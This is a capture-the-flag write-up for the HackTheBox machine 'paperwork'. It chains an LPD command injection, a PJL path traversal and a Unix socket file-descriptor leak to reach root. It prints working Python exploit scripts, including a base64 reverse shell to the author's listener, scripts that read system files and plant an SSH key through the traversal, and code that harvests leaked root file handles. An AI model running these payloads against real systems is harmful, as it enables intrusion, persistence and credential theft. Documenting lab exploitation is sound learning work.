rodrigo
HackTheBoxEasy2026-07-14

paperwork

lpd command injection leads to pjl path traversal, then a unix descriptor leak exposes root's reused password.

tl;dr

a homemade lpd server (rfc1179) on port 1515 drops the print job name straight into a subprocess(..., shell=True), so the J control-file line is a command injection, and an empty queue string bypasses its queue check. that gets a shell as lp. a jetdirect/pjl printer emulator running as archivist on 127.0.0.1:9100 has a path traversal in its filesystem commands, giving arbitrary read/write as archivist, so i drop an ssh key and log in. finally a root paperwork-daemon hands its open file descriptors back over a unix socket with SCM_RIGHTS, including a root-opened handle to admin_pins.conf, so i pread() the ADMIN_PASSWORD out of a fd i was never allowed to open, and it's reused as root's password.

recon

nmap

full port scan first:

nmap -p- --min-rate 10000 -n -Pn 10.129.44.115
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1515/tcp open  ifor-protocol

then a version/script scan on what was open:

nmap -p22,80,1515 -sCV -n -Pn 10.129.44.115

22 is openssh 10.0p2 ubuntu, 80 is http, 1515 is some custom thing nmap labels ifor-protocol. added paperwork.htb to /etc/hosts.

open ports / services

port service notes
22 ssh openssh 10.0p2, ubuntu
80 http "intranet document archiving service"
1515 ifor-protocol homemade lpd (line printer daemon)

port 80 is an "intranet document archiving service" page. not much on it, just an advisory about a spooler and a link to /download/archive called paperwork-archive-v1.02. clicked it, downloaded the zip, unzipped, got server.py, the thing running on 1515.

foothold: lpd command injection (1515)

  • Vuln/vector: the lpd server logs the print job name through subprocess(..., shell=True), so the J line of the control file is a shell command injection. the queue check is queue not in VALID_QUEUE, so an empty queue string is a substring of anything and slips right past it.

server.py is a homemade lpd server (rfc1179). the interesting bit is where it builds the archive log line:

job_name = "Unknown"
for line in decoded_content.split('\n'):
    line = line.strip()
    if line.startswith('J'):
        job_name = line[1:]
        break
 
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)

the job name goes straight into a shell command with shell=True. and the queue gate is just:

if queue not in VALID_QUEUE:
    ...

"" in VALID_QUEUE is always true, so i don't even need to know the real queue name.

  • Steps:

wrote payload.py to hit it, break out of the echo '...' quotes, base64 the reverse shell to dodge all the quoting, and comment out the rest of the line with #:

#!/usr/bin/env python3
import socket, base64, sys, time
 
HOST  = sys.argv[1] if len(sys.argv) > 1 else "10.129.45.27"   # target
PORT  = 1515
LHOST = sys.argv[2] if len(sys.argv) > 2 else "10.10.14.155"   # my tun0
LPORT = int(sys.argv[3]) if len(sys.argv) > 3 else 4444
 
rev  = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
b64  = base64.b64encode(rev.encode()).decode()
 
# break out of echo '...' , run our command, comment out the rest
job  = f"'; echo {b64}|base64 -d|bash #"
ctrl = f"J{job}\n".encode()
 
def main():
    s = socket.socket(); s.settimeout(10); s.connect((HOST, PORT))
 
    # cmd 0x02 (receive job) + EMPTY queue to bypass the check
    s.send(b"\x02\n"); time.sleep(0.4)
 
    # control-file header:  <subcmd><size> <name>
    s.send(b"\x02" + f"{len(ctrl)} cfA001paperwork\n".encode())
    try: s.recv(1)
    except: pass
    time.sleep(0.4)
 
    # the poisoned control-file body -> injection fires
    s.send(ctrl)
    try: s.recv(4096)
    except: pass
    s.close()
 
main()

listener up, ran it, caught the shell:

nc -lvnp 4444
lp@paperwork:/opt/LPDServer$ whoami
lp

i'm lp. there's an archivist user in /home. the user flag lives in there.

lp -> archivist: pjl path traversal (9100)

  • Vuln/vector: a jetdirect/pjl printer emulator runs as archivist on 127.0.0.1:9100. its pjl filesystem commands (FSUPLOAD / FSDOWNLOAD) resolve paths without stripping .., so i get arbitrary read + write as archivist.

no sudo (sudo -l is empty), nothing special on lp. i can read the real server.py in /opt/LPDServer (it's root:lp), the copy off the website was a cut-down / broken version, but it doesn't matter, i already have a shell. the useful stuff was the systemd units:

cat /etc/systemd/system/*.service
  • lpd.service: runs as lp, LPD_QUEUE=archive_intake (my foothold)
  • jetdirect.service: runs as archivist, jetdirect.py 9100 /home/archivist/printer/ ...
  • corposite.service: runs as root, /root/staging/CorpoSite/app.py
  • paperwork-daemon: runs as root, /usr/bin/paperwork-daemon

jetdirect runs as archivist → that's my way up. it's bound to localhost only, which is why it never showed in the external nmap:

ss -ltnp | grep 9100
LISTEN 0  100  127.0.0.1:9100  0.0.0.0:*

it talks pjl (printer job language). helper i ran on the box against 9100:

import socket, time
 
def pjl(payload, wait=1.2):
    s = socket.socket(); s.settimeout(4); s.connect(('127.0.0.1', 9100))
    s.sendall(b'\x1b%-12345X' + payload + b'\x1b%-12345X\r\n')
    time.sleep(wait)
    out = b''
    try:
        while True:
            d = s.recv(4096)
            if not d: break
            out += d
    except: pass
    s.close(); return out
 
print(pjl(b'@PJL INFO ID\r\n'))
print(pjl(b'@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=999\r\n'))
print(pjl(b'@PJL FSUPLOAD NAME="jetdirect.py" OFFSET=0 SIZE=20000\r\n'))

INFO ID comes back "HP LASERJET 4ML", and the pjl filesystem commands (FSDIRLIST, FSUPLOAD, FSDOWNLOAD) actually work. FSUPLOAD of jetdirect.py dumped the whole source. the bug is the path handling:

def _translate(self, path):
    clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
    return os.path.normpath(os.path.join(self._root, clean))

it strips leading slashes but does nothing about .., then normpaths the join, so .. traverses straight out. root is /home/archivist/printer, so 0:/../ lands in /home/archivist. logging is just logging.info(), no shell call, so the traversal is the whole bug: arbitrary read (FSUPLOAD) and write (FSDOWNLOAD, whose write() even does os.makedirs) as archivist. (my first reads failed with absolute paths, they get jammed under the root, you have to use ../.)

  • Steps:

read the user flag:

print(pjl(b'@PJL FSUPLOAD NAME="0:/../user.txt" OFFSET=0 SIZE=20000\r\n'))
  • user flag: [redacted]

pulled /etc/passwd with 0:/../../../etc/passwd too, archivist is uid 1000 /bin/bash, and there's a _laurel user, so laurel/auditd logging is running (whatever i do as root later gets logged; noted, doesn't block anything). no ssh keys in archivist's .ssh (FSUPLOAD of id_rsa / id_ed25519 both give FILEERROR=1), so instead of living off read/write i want a real shell. made a keypair and used the write primitive to drop the pubkey into archivist's authorized_keys:

import socket, time
 
PUB  = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... wock@omarchy\n"
path = b'0:/../.ssh/authorized_keys'
 
s = socket.socket(); s.settimeout(5); s.connect(('127.0.0.1', 9100))
hdr = b'\x1b%-12345X@PJL FSDOWNLOAD NAME="' + path + b'" SIZE=' + str(len(PUB)).encode() + b'\r\n'
s.sendall(hdr + PUB)
time.sleep(1); print(s.recv(4096)); s.close()

write() creates the .ssh dir itself via os.makedirs, so it just works:

ssh -i archivist archivist@paperwork.htb
id
uid=1000(archivist) gid=1000(archivist) groups=1000(archivist)

in as archivist. (the box respawned around here and the ip changed to 10.129.45.27, same key still worked.)

archivist -> root: fd leak via SCM_RIGHTS

  • Vuln/vector: the root paperwork-daemon passes its open file descriptors, including a root-opened handle to admin_pins.conf, back to the client over a unix socket with SCM_RIGHTS. a passed fd keeps whatever access it was opened with, so i can pread() a root-only file as archivist.

/usr/bin/paperwork-daemon is world-readable and runs as root:

  • on startup it opens /etc/paperwork/admin_pins.conf read-only as root and holds onto the fd (admin_fd). that file has ADMIN_PASSWORD= in it, and it's root-only.
  • it listens on a unix socket /run/paperwork/mgmt.sock, chowned root:1000 mode 0660. gid 1000 is the archivist group, so archivist can connect, lp couldn't, which is the PermissionError i hit when i first tried this before getting the archivist shell.
  • every connection runs scan_for_malice(), which reads /home/archivist/printer/logs/commands.log and, if it finds FSUPLOAD, FSDOWNLOAD or FSQUERY, calls trigger_lockdown():
evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])

it hands the file descriptors (including admin_fd, the root handle to admin_pins.conf) back to the client. once i receive that fd i can pread() the root-only file it points at, regardless of my own perms. that's the privesc.

  • Steps:

triggering it is free, commands.log is already full of FSUPLOAD lines from all my earlier reads (jetdirect logs every pjl command as archivist). i send one more FSUPLOAD to be safe, then connect to the socket and recvmsg the fds:

import socket, array, os, time
 
# poison the log so scan_for_malice() returns true
p = socket.socket(); p.connect(('127.0.0.1', 9100))
p.sendall(b'\x1b%-12345X@PJL FSUPLOAD NAME="trigger"\r\n\x1b%-12345X')
time.sleep(0.5); p.close()
 
# connect to the root daemon and pull the leaked fds
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")
 
fds = array.array("i")
msg, anc, flags, addr = s.recvmsg(4096, socket.CMSG_LEN(2 * fds.itemsize))
for lvl, typ, data in anc:
    if lvl == socket.SOL_SOCKET and typ == socket.SCM_RIGHTS:
        fds.frombytes(data[:len(data) - (len(data) % fds.itemsize)])
 
print("fds:", list(fds))
for fd in fds:
    print(os.pread(fd, 4096, 0).decode(errors='ignore'))

fd 4 is commands.log, fd 5 is admin_pins.conf:

fds: [4, 5]
ADMIN_PASSWORD=[redacted]

there's also a flask app (CorpoSite, werkzeug dev server) on 127.0.0.1:1337 running as root, but every route 404s (/admin, /login, /console all dead), dead end. the password is just reused as root's password:

echo '[redacted]' | su -c 'id; cat /root/root.txt' root
uid=0(root) gid=0(root) groups=0(root)
  • root flag: [redacted]